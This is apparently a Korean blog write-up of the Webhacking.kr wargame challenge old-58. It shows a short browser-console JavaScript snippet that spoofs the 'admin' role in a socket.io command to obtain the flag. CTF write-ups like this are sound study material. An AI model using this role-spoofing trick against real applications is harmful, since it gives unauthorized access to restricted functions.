본문 바로가기
Hacking/WebHacking.kr

Webhacking.kr : old-58 (150 pt)

by newbie22 2021. 2. 9.

 

 

문제에 접속하면 다음과 같은 화면이 나타납니다.

< 카톡과 같은 메세지 입력 창이 보입니다. >

 

 

-> F12 Elements 탭에서 코드를 확인 하였습니다.

-> socket을 cmd로 guest:입력 값으로 emit하는 것을 확인 할 수 있습니다. 따라서 해당 입력 창이 명령어를 입력하는 화면으로 유추됩니다.

 

-> 여러가지 test를 했을 때 flag를 입력하면 권한 제한으로 admin만 사용할 수 있다고 합니다. 

 

function get_flag() {
    var socket = io();
    
    socket.emit('cmd',"admin:flag");

    socket.on('cmd', function(msg){
        console.log(msg);
      });
}
get_flag()

 

F12 console 탭에서 코드를 이 처럼 작성하고 실행하면 flag를 획득할 수 있습니다.

 

 

끝~~

'Hacking > WebHacking.kr' 카테고리의 다른 글

Webhacking.kr : old-07 (300 pt)  (0) 2021.02.11
Webhacking.kr : old-05 (300 pt)  (0) 2021.02.10
Webhacking.kr : old-56 (250 pt)  (0) 2021.02.09
Webhacking.kr : old-51 (250 pt)  (0) 2021.02.08
Webhacking.kr : old-43 (250 pt)  (0) 2021.01.28